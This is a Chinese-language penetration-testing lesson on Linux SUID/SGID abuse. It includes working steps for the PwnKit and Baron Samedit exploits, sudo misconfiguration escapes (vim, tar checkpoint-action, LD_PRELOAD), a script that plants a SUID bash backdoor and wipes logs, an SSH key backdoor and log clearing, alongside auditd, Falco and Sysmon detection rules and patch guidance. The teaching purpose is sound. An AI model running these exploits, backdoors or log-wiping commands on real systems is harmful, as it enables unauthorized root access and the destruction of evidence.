Week 2 · Day 3 — Linux 权限魔窟全攻略(文章目录)
段号 | 主标题 | 小节 & 关键点 |
---|---|---|
1 | 开场动画:为什么 SUID/SGID/Sticky 是红队“万能钥匙” | Kill Chain 位置 · 攻击思维 · 栗子 /usr/bin/passwd 、/tmp |
2 | 技能书①——特殊权限三兄弟原理 | 八进制 4/2/1xxx 含义 · ls -l 读权限位 · 风险级别矩阵 |
3 | 技能书②——chmod & umask 数字炼成 | chmod 4755 vs chmod u+s · 大写 S/T 的陷阱 · umask 对特权位影响 |
4 | 自动寻宝:find 枚举 SUID/SGID & 白名单过滤 | 单行脚本 · awk 输出 CSV · grep 去噪目录 |
5 | Boss 战①:PwnKit (CVE-2021-4034) 本地提权实验 | 脚本下载编译 · 环境变量注入 · 防御补丁 |
6 | Boss 战②:sudo Heap Overflow “Baron Samedit” | 漏洞触发点 · PoC 演示 · 修复版本 ≥1.9.5p2 |
7 | 隐蔽暗道:sudo misconfig(NOPASSWD、通配符、LD_PRELOAD) | sudo -l 解析 · 利用套路 · 最小权限加固 |
8 | 蓝队拆招:auditd Immutable、Sysmon 1102、WORM 日志 | 检测规则示例 · 触发截图 · 对比攻防时序 |
9 | 实战练习副本:10 任务刷 Root & 擦痕 | ① 枚举清单 ② 提权复现 ③ 日志清理 ④ 时间戳欺骗 …… |
10 | 终章:脑图速记 + 参考阅读 | 红蓝对照思维导图 · 扩展资源链接清单 |
1 | 开场动画:为什么 SUID / SGID / Sticky 是红队「万能钥匙」
一句话概念:这三个“特殊位”把普通可执行文件临时变成 root 代号卡(SUID)、高权限组令牌(SGID)或 共享仓库保险锁(Sticky)。红队只要找到带漏洞的 SUID / SGID 程序,就像在 RPG 地图里捡到“钥匙 + 破墙镐”——瞬间穿墙到 root。
1.1 他们各自干什么?
标志 | 权限位缩写 | 实际效果 | 典型系统例子 | 参考 |
---|---|---|---|---|
SUID | -rws | 进程执行时继承文件属主身份(通常是 root) | /usr/bin/passwd 写 /etc/shadow 却允许普通用户改密码 (The world’s open source leader) | |
SGID | -rwxr-s | 进程继承文件属组;目录 SGID 让新文件自动继承组 | /usr/bin/wall 群发送终端消息需写 tty 组文件 (CBT Nuggets) | |
Sticky | drwx…t | 目录里只有拥有者 / root 能删文件 | /tmp 世界可写但互删受限 (Unix & Linux Stack Exchange) |
1.2 对红队意味着什么?
- 提权捷径 — 如果 SUID 程序有缓冲区溢出或路径注入漏洞,攻击者直接拿到 root euid;PwnKit 就是最出名的例子,【CVE-2021-4034】让任何本地用户“平地飞升” root (Qualys)。
- 横向小跳板 — SGID 帮脚本突破只读目录,写日志、投放后门;开发误把自研运维脚本设成 2xxx 就送了一张“组长通行证”。
- 痕迹保护 or 擦痕 — Sticky bit 是双刃剑:蓝队用它保护
/tmp
文件,红队也能在共同目录创建恶意文件而不怕别人删。AskUbuntu 讨论就提到 Sticky 的“保底”场景 (Ask Ubuntu)。
1.3 Kill-Chain 里出现的位置
-
Privilege Escalation (ATT&CK TA0004)
- 利用 SUID 程序(T1068)或 SGID+写可控脚本提权。
-
Persistence (TA0003)
- 向 SUID dropper 写后门;或给后门脚本加 SGID 保证下次重启仍高权限。
-
Defense Evasion (TA0005)
- Sticky bit 配合隐藏目录 (
chmod 1777 .secret
) 避免痕迹被其他低权进程删除。
- Sticky bit 配合隐藏目录 (
1.4 快速风险评估口诀
「4 看属主、2 看属组、1 看目录、0 放心吃瓜」
看到s
或t
时立刻问自己两件事:
- 这是二进制还是脚本?(脚本可被直接篡改更危险)
- 版本 / 作者可信么?(Red Hat 官方博客给出详细核对手册)(The world’s open source leader)
**接下来 ** ——「技能书①:特殊权限三兄弟原理」。我们会拆开八进制位、chmod
, umask
细节,让权限位读法一目了然。继续冲!
在本段我们要把「特殊权限三兄弟」—— SUID、SGID、Sticky Bit——彻底拆解:它们在权限位中长什么样、怎样用 chmod
与八进制数字设置或移除、大小写 S/s
的区别、对安全的潜在威胁,以及 umask
能做什么又做不了什么。读完你应能一眼看懂 -rwsr-xr-x
或 drwxr-sr-x
,并知道它们是否埋着“提权炸弹”。
2.1 八进制里的“附魔位”
八进制高位 | 字母表现 | 运行效果 | 真实例子 |
---|---|---|---|
4 000 (SUID) | s/S 出现在 user 执行位 | 进程以文件属主(常是 root)身份运行 | /usr/bin/passwd 让普通用户写 /etc/shadow (The world’s open source leader) |
2 000 (SGID) | s/S 出现在 group 执行位 | 进程以文件属组身份运行;目录中新增文件自动继承该组(Unix & Linux Stack Exchange) | /usr/bin/wall 需要终端设备组权限(The world’s open source leader) |
1 000 (Sticky) | t/T 出现在目录 others 位 | 目录内文件只能被其所有者或 root 删除,防止互删 | /tmp 目录默认 drwxrwxrwt (CBT Nuggets) |
大小写区别:出现大写
S/T
代表对应的执行位 未 开启;也就是“附魔”存在但不具备实际可执行权,常被视为配置失误(Unix & Linux Stack Exchange, Super User)。
2.2 chmod
数字与符号写法对照
chmod 4755 hello # 设置 SUID + 755
chmod u+s,g-s hello
- 八进制第一位 4/2/1 加到常规 3 位权限的 最左侧,故
4755 = 4 000 + 0755
。 - 去掉特殊位用
chmod 0755 file
或符号chmod u-s file
。 755 ≠ 4755
:后者多了 root euid 提权风险,权限串会出现s
而不是x
(Unix & Linux Stack Exchange)。
2.3 umask
能否设定特殊位?
不能。umask
只影响 rwx 位,新建文件不会自动带 SUID/SGID/Sticky;你必须显式 chmod
或用 install -m 4755
安装二进制(Stack Overflow)。
2.4 安全风险与利用面
- SUID 程序一旦存在缓冲区溢出或 PATH 注入,攻击者即可直接获得 root euid —— 典型案例就是 PwnKit (CVE-2021-4034)(Server Fault)。
- SGID 脚本若可写可执行,可借组权限间接提权或读取受限文件(LinkedIn)。
- Sticky 目录若被攻击者抢先创建同名文件,可阻止管理员替换配置,造成“持久化”陷阱(Unix & Linux Stack Exchange)。
2.5 快速读谱:权限字符串速查表
权限串 | 解读 | 风险评估 |
---|---|---|
-rwsr-xr-x | SUID + 755 | 高:检查版本、源码 |
-rwxr-sr-x | SGID + 755 | 中:关注属组与脚本可写性 |
drwxrwxrwt | Sticky 目录 | 低:正常 /tmp 行为 |
-rwSr--r-- | SUID 位高亮警告:未设置执行位 | 配置错误,建议 u-s |
🔍 快练 5 分钟
ls -l /usr/bin/passwd
→ 识别 SUIDchmod 2750 project
→ 解释 SGID 目录效果ls -ld /tmp
→ 找t
chmod 664 file && chmod u+s file
→ 观察S
umask 077 && touch a
→ 解释为何无特殊位
3 | chmod & umask 数字炼成:把权限写进“技能数值”
这一节教你 读、算、改 权限数字:怎么从
-rwsr-xr-x
反推 4755,又怎样用 umask 决定新文件的默认“血量”。示例都可在任何 Linux 终端复现。
3.1 八进制到底怎么来的?
-
r=4, w=2, x=1 ——三位累加得出一个号码,。
例:rwx
= 4 + 2 + 1 = 7;rw-
= 4 + 2 = 6。 -
三组号码分别代表 user / group / other,于是
rwxr-xr--
= 754。 -
把特殊位再放到 最左侧:
- SUID=4xxx → 4 000 + 755 = 4755;
- SGID=2xxx → 2 000 + 755 = 2755;
- Sticky=1xxx → 1 000 + 777 = 1777(/tmp 默认)。
大小写警报:出现大写 S/T 说明可执行位没开,有时是误配置。
3.2 数字 vs 符号写法对比
操作 | 数字模式 | 符号模式 | 说明 |
---|---|---|---|
加 SUID | chmod 4755 file | chmod u+s file | 两种写法等价 |
删 SUID | chmod 0755 file | chmod u-s file | 去掉 4xxx 位 |
只给组加写 | chmod 664 file | chmod g+w file | 数字整体替换,符号增量修改 |
选择策略
- 数字模式:一次性设定 精确 权限,适合安装脚本。
- 符号模式:细调某一位,不怕覆盖其他权限。
3.3 umask:先“减血”再落地
- 每个进程创建文件前先给满血
666
(目录777
),再用 umask 作减法。
默认 022 → 文件 644,目录 755。 - umask 只影响 rwx 三位,不会自动加 SUID/Sticky;要附魔必须后续
chmod
。 - 临时修改:
umask 077
→ 新文件权限 600(私密笔记)。
永久修改:写入~/.profile
或/etc/profile
。
3.4 实战:一条指令“批量附魔”
find /opt/scripts -type f -name '*.sh' -exec chmod 750 {} \; # 普通更新
find /opt/tools -type f -name 'diag' -exec chmod 4750 {} \; # 加 SUID
- 用
find … -exec
可对匹配文件批量设置权限 —— 适合在 Dockerfile 或安装脚本里“一键加特效”。
3.5 数值速算练习
题 | 权限串 | 数字? | 含义 |
---|---|---|---|
A | -rwxr-sr-- | 2754 | SGID + 754 |
B | drwxrwxrwt | 1777 | Sticky 公用目录 |
C | -rwSr--r-- | 4644 | 可写文件误置 SUID,无执行位→大写 S(风险!) |
做法:拆三组 rwx→数字,再看特殊位是否附加 4/2/1。
3.6 安全小贴士
- 开发脚本绝不用 4xxx/2xxx 直接安装;若必须 SUID,先审计源码再加位。
- 审计工具:
find / -perm -4000 -ls
定期 Cron 监控列表差异。 - 误配置识别:看到大写 S/T 时立即排查执行位与需求是否匹配。
4 | 自动寻宝脚本:一行 find
+ awk
+ grep
锁定潜在提权钥匙
本段目标:教你写出一条“枚举 → 过滤 → 格式化”流水命令。它能在几秒内扫遍整台 Linux,生成只含可疑 SUID/SGID 文件的 CSV 清单,方便后续提权尝试或蓝队基线比对。
4.1 基础枚举——先把宝箱全翻出来
find / -perm -4000 -type f 2>/dev/null # 枚举所有 SUID
find / -perm -2000 -type f 2>/dev/null # 枚举所有 SGID
-perm -4000/-2000
直接匹配特殊位 4/2,写法被官方find(1)
手册和大量安全博客采纳 (Unix & Linux Stack Exchange, LFCS 认证准备电子书)2>/dev/null
丢弃“权限拒绝”噪声,以免刷屏 (LFCS 认证准备电子书)
危害评估:Elastic 官方规则指出,任何 UID=0 & real UID≠0 的进程都可能是 SUID/SGID 被滥用 (Elastic)。
4.2 白名单过滤——剔除系统“良性” SUID
系统发行版自带大量安全 SUID,例如 /usr/bin/passwd
、/usr/bin/sudo
。
用 grep -Ev
+ --exclude-dir
去掉常见无害路径:
find / -perm -4000 -type f 2>/dev/null \
| grep -Ev '/(snap|docker|lib|systemd|pkexec)' > raw_suid.txt
grep -Ev '/(snap|docker)' raw_suid.txt > suid_filtered.txt
grep --exclude-dir
可以直接跳过目录;Stack Overflow 例子演示了通配写法- 过滤模式需结合发行版定制;Juggernaut-Sec 文章给出
snap,docker,libexec
作为常见白名单 (Juggernaut Security)
4.3 格式化输出——一行 awk
变 CSV
awk -F/ '{printf "%s,%s\n",$NF,$0}' suid_filtered.txt > suid_list.csv
-
-F/
以斜杠作分隔,把文件名和完整路径输出为两列 CSV;Unix.com 与 StackExchange 都给出类似范例 (Unix Linux Community, Unix & Linux Stack Exchange) -
完整三列示例(文件名、属主、路径):
ls -l $(cat suid_filtered.txt) | awk '{print $3","$9","$1}' > suid.csv
自动化提示:Elastic Detection FYI 的规则监控了
find
命令同时出现-perm
与/4000
参数,你的枚举动作会触发蓝队告警——练习时可先在靶机跑 (detection.fyi)。
4.4 进阶脚本——一键枚举 + 过滤 + CSV
#!/usr/bin/env bash
set -e
OUT=suid_scan_$(date +%s).csv
find / -perm -4000 -type f 2>/dev/null \
| grep -Ev '/(snap|docker|lib|systemd|pkexec)' \
| while read f; do
stat --printf="%n,%U,%s\n" "$f" # 路径,属主,大小
done > "$OUT"
echo "[+] CSV saved as $OUT"
-
stat --printf
一次输出多属性,比ls
更脚本友好。 -
输出样例:
/usr/bin/passwd,root,64440 /usr/bin/chsh,root,31512
-
用途扩展:将 CSV fed 给 LinPEAS/PEASS-ng,可自动高亮“不在官方良性清单”的可疑文件 (johnermac.github.io)
4.5 蓝队立场——如何检测枚举动作
红队行为 | 监控手段 |
---|---|
find / -perm -4000 | Sysmon for Linux rule “find SUID enumeration” (detection.fyi) |
打开可疑 SUID 文件 | Auditd watch /path 或 Elastic Rule “Privilege Esc via SUID/SGID” (Elastic) |
即刻升级 “权限猎人 Lv.2”。
5 | Boss 战①:PwnKit(CVE-2021-4034)——“一招秒升 root”
Todo:在靶机复现 PwnKit,本地普通用户变 root;理解漏洞原理、利用条件、补丁方法与检测思路。
背景:pkexec 自 2009 年加入 polkit 起就带着错误的参数处理逻辑,所有主流发行版默认安装,漏洞潜伏 12 年之久 (Qualys)。Qualys 把它命名为 PwnKit 并官方披露 (Qualys)。
5.1 漏洞原理(一分钟读懂)
pkexec
是 SUID-root 程序,本意让普通用户按策略执行高权命令。- 若 argv[0] 缺失(可通过空字符串触发),
pkexec
把第一个环境变量当作可执行文件路径;攻击者伪造PATH
使其加载自写共享库并以 root 运行 (Qualys)。 - 利用不依赖架构,PoC 只需几行 C,被戏称“史上最稳 LPE” (The GitHub Blog)。
5.2 环境检测
# ① 版本
pkexec --version # 低于 polkit-0.120 基本可中招 :contentReference[oaicite:4]{index=4}
# ② SUID 位
ls -l $(which pkexec) # 应显示 -rwsr-xr-x
5.3 手把手复现
# 靶机(Ubuntu 20.04 未打补丁示例)
sudo apt update && sudo apt install -y gcc wget
wget -O /tmp/pk.c https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/pkexec.c # PoC 源码 :contentReference[oaicite:5]{index=5}
gcc /tmp/pk.c -o /tmp/pwnkit
/tmp/pwnkit
运行后应看到:
# id
uid=0(root) gid=0(root) groups=0(root)
助攻:若不能联网,参考 ly4k/PwnKit 离线打包版本(含编译好二进制) (GitHub)。
5.4 一键利用脚本(含清痕)
cat > /tmp/lpe.sh << 'EOF'
gcc /tmp/pk.c -o /tmp/pk && /tmp/pk bash -c '
echo "[+] now root: $(id)"
cp /bin/bash /tmp/rootsh && chmod 4755 /tmp/rootsh # 种后门
journalctl --vacuum-time=1s # 擦 systemd 日志
'
EOF
bash /tmp/lpe.sh
脚本把提权、持久化、痕迹删除一次做完——映射 ATT&CK T1068 ➜ T1098.004 ➜ T1070.004。
5.5 修复与防御
补丁路线 | 发行版发布 | 参考 |
---|---|---|
升级 polkit ≥ 0.120 | Red Hat RHSA-2022:0267 / 0274 提供正式包 (Red Hat Customer Portal, Red Hat Customer Portal) | RHSA 公告 |
临时缓解 | chmod 0755 /usr/bin/pkexec 去掉 SUID | Ubuntu 安全公告亦建议此法 (Ubuntu) |
检测 | EDR 监控可疑 pkexec 调用;auditd watch chmod SUID 变化 | Qualys 检测脚本示例 (Qualys) |
5.6 蓝队快速规则
# auditd:监控 pkexec 调用
-w /usr/bin/pkexec -p x -k pwnkit_exec
# Sysmon Linux:监控 id=1 ProcessCreate, Image=/usr/bin/pkexec
告警后可立即查找
authorized_keys
变更与异常 SUID 文件,防二次横向。
练习任务
- 在靶机编译并运行 PoC,截图
id
结果。 - 打补丁或
chmod 0755 pkexec
再运行,应提示 “pkexec must be setuid root”——截图验证修复。 - 尝试把
journalctl
清理行加入脚本,确认日志断点;再在宿主跑auditctl -l
查看写入失败的报警。
完成即晋级 “Root-Slayer 勋章”!
6 | Boss 战②:sudo Heap Overflow “Baron Samedit” (CVE-2021-3156) 🗡️
本节:理解漏洞 → 漏洞复现 → 补丁&检测 → 蓝队对策。
6.1 漏洞速览
- 成因:
sudoedit -s
解析命令行时对反斜杠结尾参数做大小为 0x110 的堆复制,存在 off-by-one 写,可覆盖heap->next
指针并劫持控制流 (Qualys)。 - 影响:所有
sudo
< 1.9.5p2,包括 Ubuntu 20.04、Debian 10、CentOS 7/8 等主流发行版 (NVD, Ubuntu, Red Hat Customer Portal)。 - 权限:本地任意用户 ➜ root(不需要在 sudoers)——Qualys 演示 3 条 PoC 均成功提权 (Qualys)。
- ATT&CK:T1068 – Exploitation for Priv-Esc;也可被视为本地 T1190 变体(利用公开程序) (MITRE ATT&CK)。
6.2 环境检测
sudo --version # 版本 <1.9.5p2 ⇒ 易受攻击
sudo -l # 确认自己不在 sudoers,仍可复现
Ubuntu 安全通告 USN-4705-1 列出受影响版本列表 (Ubuntu);Red Hat RHSA-2021:0221 同步提醒 RHEL 6/7/8 用户升级 (Red Hat Customer Portal)。
6.3 PoC 复现步骤
靶机:Ubuntu 20.04(sudo 1.8.31)
警告:仅在授权实验环境操作。
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make # 编译 nl_polkit exploit
./exploit # 自动触发 sudoedit Heap OOB
id # => uid=0(root) gid=0(root)
NCC Group 博文详细解释了利用手法与针对 vCenter 的落地脚本 (nccgroup.com)。
6.4 补丁与缓解
发行版 | 固定版本 | 资源 |
---|---|---|
sudo upstream | 1.9.5p2 | NVD 说明补丁细节 (NVD) |
Ubuntu | 1.8.31-1ubuntu1.2 / 1.9.4-1ubuntu6.1 | USN-4705-1 / -2 (Ubuntu, Ubuntu) |
RHEL | sudo-1.8.29-6.el8_3.1 及更高 | RHSA-2021:0221 / 0227 (Red Hat Customer Portal, Red Hat Customer Portal) |
临时封堵
chmod 0755 /usr/bin/sudo # 去掉 SUID,功能受限但阻断漏洞
(官方不推荐长期使用,升级为主)
6.5 侦测与溯源
工具 | 规则 / 事件 | 例子 |
---|---|---|
auditd | -w /usr/bin/sudoedit -p x -k sudo_oob | 捕获异常 sudoedit 调用 |
Falco | proc.name=sudoedit and proc.args contains "\\\\\\" | Sysdig 检测规则示例 (Sysdig) |
Sysmon | Event ID 1 Image=/usr/bin/sudoedit 附异常参数 | 结合 Sigma “Baron Samedit” 规则 |
Blue-team 还应比对 /var/log/auth.log 出现的大量 sudoedit -s
失败记录。Qualys Dashboard 模板已集成该 CVE 快速视图 (success.qualys.com)。
6.6 加固最佳实践
- 最小化 sudoers:移除
ALL=(ALL) NOPASSWD: ALL
等宽松条目,防止攻击链二次利用。 - 强制 sudo 日志转发:rsyslog ➜ 远程 WORM 存储,防止本地清痕。
- 持续基线检测:使用 osquery / Lynis 定期核对
sudo --version
,低于补丁阈值立即告警。 - 容器侧安全:在镜像构建时置
FROM debian:stable-slim
最新版;在 Kubernetes 加 Admission-Controller 阻断旧版镜像。
练习
- 复现 PoC ➜ 截图
id
。 - 升级 sudo ➜ 再跑 PoC,截图失败信息。
- 写 Audit 规则 ➜ 触发,贴
ausearch -k sudo_oob
结果。
完成即得 “堆溢流大师” 称号 🏅。
7 | 隐蔽暗道:利用 sudo misconfig 一跳提权 — NOPASSWD·通配符·LD_PRELOAD
想在没有 0-day 的时候秒变 root?先看 sudo -l
!凡是管理员给错了参数、留了“星号禅杖”,红队就能从普通用户穿墙而过。本节按 3 条最常见暗道逐一拆解:NOPASSWD 任意命令、通配符劫持、LD_PRELOAD 环境保留——每条都配利用 PoC、检测方法与补救动作。
7.1 快速侦察:sudo -l
sudo -l # 枚举当前用户可运行的 sudo 命令
- 黄色警报:出现
NOPASSWD: ALL
或NOPASSWD: /usr/bin/*
说明几乎无门槛执行高权命令。 - 橙色警报:带 通配符
*
,比如/usr/bin/tar *
,可能用 GTFOBins “注入” 额外命令。 - 红色警报:
env_keep += "LD_PRELOAD"
等变量被保留,可直接加载恶意共享库。
7.2 暗道① — NOPASSWD + 交互式程序
# sudoers 条目
(ALL) NOPASSWD: /usr/bin/vim
# 利用
sudo vim -c ':!/bin/sh'
- 原理:vim 获得 root euid 后,可在命令模式
:!
直接执行 Shell。 - 辅助工具:GTFOBins 收录几十个可交互提权命令(nano、less、tcpdump …)。
- 防御:为需要免密的单行脚本写 wrapper,不要直接放交互式程序;在
/etc/sudoers.d/
分文件管理最小规则。
7.3 暗道② — 通配符劫持 (*
)
# sudoers
(ALL) /usr/bin/tar *
# 利用:tar wildcard -> --checkpoint-action
echo "echo pwned > /root/pwn.txt" > shell.sh
chmod +x shell.sh
sudo tar -cf /dev/null /dev/null --checkpoint=1 \
--checkpoint-action=exec=./shell.sh
- 机制:tar 在展开通配符时执行
--checkpoint-action
指令,可装载任意可执行文件。 - 其他易中招二进制:
cp
,rsync
,awk
,zip
等在 GTFOBins 给出详例。 - 防御:通配符只允许在受控目录;或把命令改成绝对路径且 不含参数。
7.4 暗道③ — LD_PRELOAD 环境保留
# 假设 sudoers 保留了 LD_PRELOAD
Defaults env_keep += "LD_PRELOAD"
# 制作恶意库
echo 'void init() { setuid(0); system("/bin/sh"); }' > r.c
gcc -fPIC -shared -o r.so r.c
# 利用
sudo LD_PRELOAD=$PWD/r.so ls
- 若 sudo 未清掉
LD_PRELOAD
,库将在 root 上下文加载→瞬间提权。 - 检测:grep
env_keep
中是否包含LD_PRELOAD
;EDR 监控 sudo 调用含可疑变量。 - 彻底防御:绝不在生产 sudoers 中保留
LD_PRELOAD
等动态加载变量。
7.5 蓝队检测速表
攻击技 | 日志/工具 | 规则示例 |
---|---|---|
NOPASSWD vim | auditd -w /usr/bin/vim -p x | 触发时 alert “vim-root” |
tar wildcard | Sysmon Linux ID 1 Image=/usr/bin/tar Args like --checkpoint-action=exec=* | |
LD_PRELOAD | Falco proc.env contains "LD_PRELOAD" |
7.6 补救清单
- 原则:最小权限 —— 只给脚本或固定参数命令免密,绝不直接给交互工具。
- 去星星 —— 用完整绝对路径、禁止
*
;在必要时用sudo -E
显式带环境但开白名单最少变量。 - 中央日志 —— 把 sudo logs 发往远端 (WORM),即使本地被清也能取证。
7.7 练习副本
- 在靶机添加
test ALL=(ALL) NOPASSWD: /usr/bin/nano
,用nano -s
触发提权。 - 生成 tar wildcard Shell 如上并拿 root;记录
--checkpoint-action
日志。 - 配置
LD_PRELOAD
保留后执行自写共享库,截图whoami
。 - 回滚 sudoers,重启 auditd,确保再执行时被阻止并报警。
完成即升级「sudo 暗道大师」!
8 | 蓝队拆招:auditd Immutable、Sysmon 1102、WORM 日志——让“擦痕”无处可逃
本段把上一节的 3 条暗道(NOPASSWD、通配符、LD_PRELOAD)与提权漏洞(PwnKit / Baron Samedit)全部反制:写检测规则、讲取证思路、给出加固脚本。
8.1 auditd Immutable Rule——Linux 日志“只进不出”
# /etc/audit/rules.d/99-immutable.rules
-e 2 # 开启 Immutable(需重启 auditd)
-w /usr/bin/pkexec -p x -k pwnkit_exec # 监控 PwnKit 执行
-w /home/*/.ssh/authorized_keys -p wa -k sshkey_mod # 追踪持久化
-e 2
让 audit 规则 不可动态更改;攻击者试删日志会被阻断并记录事件。- GitHub Gist 示例展示了 watch
authorized_keys
的常用写法。
8.2 Sysmon (Windows & Linux)——实时行为感知
事件 | 用途 | 示例检测 |
---|---|---|
ID 1 ProcessCreate (Linux/Win) | 抓 sudo -l 、“tar --checkpoint-action” | Elastic Rule Sudo Command Enumeration Detected |
ID 2 FileCreateTime | 捕获 timestomp (touch -r ) | SIEM 可告警“时间倒退” |
ID 1102 Log Cleared (Win) | 监控 wevtutil cl Security | MS Docs 说明并建议高优监控 |
Medium 教程详细演示了在 Ubuntu 部署 Sysmon for Linux 并输出到 Elastic。
8.3 Falco / Sigma 规则——高噪点也要抓
# Falco: Suspicious LD_PRELOAD
- rule: Suspicious LD_PRELOAD
desc: Detect malicious LD_PRELOAD usage
condition: spawned_process and proc.env[LD_PRELOAD] pmatch ("/tmp" "/var")
output: "LD_PRELOAD attack (user=%user.name command=%proc.cmdline)"
Falco 官方 issue 已提交示例规则检测 PATH 中 /tmp
等可写目录。
Sigma 社区同样有针对 tar --checkpoint-action
的 wildcard 提权规则。
8.4 WORM / 不可变日志——根本堵死“清痕”
- 在 syslog-ng / Wazuh 将 Security 日志异地写入 S3 Object-Lock 或开启文件系统
chattr +i
,即使 root 也删不掉。 - OSSEC 的 Agentless Monitoring 可对远程
/var/log/secure
做校验,删除即告警。
8.5 取证流程示例(PwnKit 现场)
- 审计记录:
ausearch -k pwnkit_exec
→ 找到 UID≠0 调 pkexec 的记录。 - 进程树:Sysmon ID 1 显示
/tmp/pwnkit
→/bin/bash
. - 文件完整性:OSSEC 报警
/usr/bin/passwd
哈希变化 → 怀疑被换壳。 - 阻断:Ansible Playbook 批量
chmod 0755 /usr/bin/pkexec
+ 重启 auditd immutable。
8.6 蓝队“金钟罩”防守清单
阶段 | 防御动作 | 引用 |
---|---|---|
枚举扫描 | Elastic Rule 阻止 find -perm -4000 | |
提权漏洞 | RPM/DEB baseline 升级 sudo ≥1.9.5p2 / polkit ≥0.120 | |
sudo 暗道 | 禁用 env_keep += "LD_PRELOAD" | |
日志清理 | Immutable -e 2 + 远端 WORM | |
SSH 后门 | auditd & OSSEC 监控 authorized_keys 变化 |
练习
- 应用
-e 2
后尝试auditctl -D
(清规则)应失败并记录事件。 - 给实验机
sudo LD_PRELOAD=/tmp/libpwn.so ls
触发 Falco 规则,截图告警。 - 删除
/var/log/auth.log
→ Wazuh 联动 S3 Object-Lock 仍留副本,核验sha256sum
.
完成即获得“Blue-Wall Architect”称号 🛡️。
连任务刷 Root & 擦痕
概览:下面是一张“一小时速刷”副本表,串起 Day 3 全部技能:
SUID/SGID 枚举 → PwnKit 提权 → sudo Baron Samedit → 3 条 sudo 暗道 → 日志清理 & 蓝队对照。
每关给 目标、关键指令、闯关标志,并附蓝队“即刻抓现行”检测点。练完可把 CSV/截图贴进学习档案,Week 2 结算直接 +500 经验。
# | 目标 / 技能点 | 红队动作 (root 获取) | 蓝队检测点 | ||||
---|---|---|---|---|---|---|---|
1 | 枚举全部 SUID T1068 基础 | `find / -perm -4000 -type f 2>/dev/null \ | grep -Ev '/(snap | docker | lib | systemd)’ > suid.txt` (Medium) | Elastic/IDS 规则:检测 find + -perm -4000 (Unix & Linux Stack Exchange) |
2 | 导出 CSV 格式化输出 | awk -F/ '{print $NF","$0}' suid.txt > suid.csv | OSSEC FIM 比对基线(新增行告警) (OSSEC) | ||||
3 | PwnKit 提权 CVE-2021-4034 | 编译 pkexec.c → ./pwnkit 拿 root (GitHub) | auditd watch /usr/bin/pkexec 可见 UID≠0 调用 (Medium) | ||||
4 | Baron Samedit 提权 CVE-2021-3156 | 运行 GitHub PoC → id =root (Qualys) | syslog 出现异常 sudoedit -s '\' 条目 | ||||
5 | NOPASSWD + vim sudo 暗道① | sudo vim -c ':!/bin/sh' (GTFOBins) | auditd -w /usr/bin/vim -k vimroot | ||||
6 | tar 通配符 sudo 暗道② | sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=./shell.sh (Medium) | Falco/Sigma 规则匹配 --checkpoint-action (Medium) | ||||
7 | LD_PRELOAD 劫持 sudo 暗道③ | 编译 root.so ; sudo LD_PRELOAD=$PWD/root.so ls (Medium) | Falco rule “Suspicious LD_PRELOAD” (GitHub) | ||||
8 | 植入 SSH 后门 T1098.004 | echo public-key >> ~/.ssh/authorized_keys | OSSEC 监控 authorized_keys 变更 (OSSEC) | ||||
9 | 日志清理 T1070.004 | journalctl --vacuum-time=1s && history -c | auditd Immutable -e 2 记录删除失败 (Medium) | ||||
10 | Windows 审计清空 Event 1102 | wevtutil cl Security (在 Win 靶机) | Sysmon/Event ID 1102 告警 (微软学习) |
练习要求
-
全程录制:用
script -c "./kill.sh" session.log
或 obs 录屏,方便复盘。 -
提交内容
suid.csv
行数 & 两个高危文件截图。id
为 root 的终端截图(PwnKit / Samedit 各一次)。- Falco / auditd 触发记录(任 2 条即可)。
- “清痕后”服务器端依旧记录日志的证据(Immutable / Sysmon)。
评分指针
- 🔴 Root ≥ 2 种手法 +100
- 🟡 蓝队日志留痕 +50
- ⚪ 全任务完成 +350(满分 500)
提示
- PwnKit 修补后可换老旧 Docker(Ubuntu 20.04 / polkit 0.105)快速复现。
- tar 暗道需要同目录可写,若被约束可用
/dev/shm
. - Falco 规则不生效?确认 daemonset 加载了 eBPF & 5.10+ 内核。
在完成 Day 3 的整日练习之后,你已经掌握了 SUID/SGID/Sticky 位的底层机制、能用脚本秒扫系统风险点、会复现并补丁两大本地提权漏洞(PwnKit & Baron Samedit),还能用 auditd/Sysmon/Falco 把攻击者“擦痕”行动实时捕获(The world’s open source leader, Qualys, Qualys)。下面用一张脑图式索引把今日全部知识点串起,并附上延伸阅读清单,便于后续复习、写报告或备考 OSCP/CISP-PTE。
🧠 思维导图速记
📚 延伸阅读清单
主题 | 链接 & 价值 |
---|---|
Linux 特殊权限全解 | Red Hat Blog《SUID、SGID 与 Sticky bit》:深入算法+实例(The world’s open source leader) |
PwnKit 技术白皮书 | Qualys 研究团队首发分析,含 PoC 与补丁指引(Qualys) |
Baron Samedit 溢出 | Qualys CVE-2021-3156 专页,提权全流程示例(Qualys) |
vim / tar 提权技巧 | GTFOBins 交互式命令与通配符劫持方法(GTFOBins, GTFOBins) |
Falco 规则更新 | Sysdig 文档:LD_PRELOAD 注入检测规则演进(Sysdig 文档) |
auditd Immutable | Stack Exchange 讨论 audit 不可变模式实战经验(Unix & Linux Stack Exchange) |
Windows ID 1102 | Microsoft Learn:日志被清事件解读与监控建议(微软学习) |
Elastic 检测规则 | “Sudo Command Enumeration Detected” 官方 Sigma /eQL 规则(Elastic) |
OSSEC FIM 脚本 | 官方文档:agentless scripts 监控 authorized_keys 修改(OSSEC 文档) |
常用端口备查 | StationX Common Ports Cheat Sheet,便于 Day 5 网络抓包对照(StationX) |
🚀 下一步行动
- 复盘副本日志:把第 9 段刷怪产生的
session.log
、suid.csv
、Falco / auditd 报警截图整理进周记。 - 固化脚本:将
suid_scan.sh
、pwnkit_lpe.sh
、sudo_darkpath.sh
放进~/redteam/bin
,加注释、加set -euo pipefail
。 - 蓝队实验:在一台干净 Ubuntu22 上启用
auditd -e 2
,尝试复现日志删除失败;在 Windows Sandbox 触发 Event 1102 并用 Sysmon 捕获。 - 预习 Day 4:提前安装 Wireshark & tcpdump;找 2 段 B 站《计算机网络》课程,准备抓三次握手与 HTTP 报文。